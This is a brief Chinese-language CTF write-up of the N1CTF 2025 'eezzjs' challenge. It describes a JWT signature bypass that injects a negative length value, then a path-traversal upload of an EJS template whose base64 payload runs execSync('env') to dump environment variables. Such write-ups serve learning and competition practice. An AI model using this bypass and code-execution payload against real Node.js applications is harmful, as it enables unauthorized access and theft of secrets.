Skip to content

N1CTF 2025

约 175 字小于 1 分钟

CTF

2025-11-04

eezzjs

在 verifyJWT 内部调用去计算预期签名,如果能操控结果就能绕过

const expectedSignatureHex = sha256(...[JSON.stringify(header), payload, secret]);
const sha256 = (...messages) => {
    const hash = sha('sha256');
    messages.forEach((m) => hash.update(m));
    return hash.digest('hex');
};

length 属性在每次遍历时候会去改变 hash 对象的 _len,所以在 body 构造一个负值的 length 去吞掉最后的 secret 长度,{"alg":"HS256"} 长15 ,secret 长18,所以 length 值为 -33 ,最后在计算 digest 时候就会是一个定值,无论 secret 如何变化

image-20251104110553288

image-20251104134555281

后面用 /. 绕过对 js 后缀匹配,传个 ejs 上去就好

{"filename":"../views/evil.ejs/.","filedata":"PCU9IGdsb2JhbC5wcm9jZXNzLm1haW5Nb2R1bGUucmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCdlbnYnKSAlPg=="}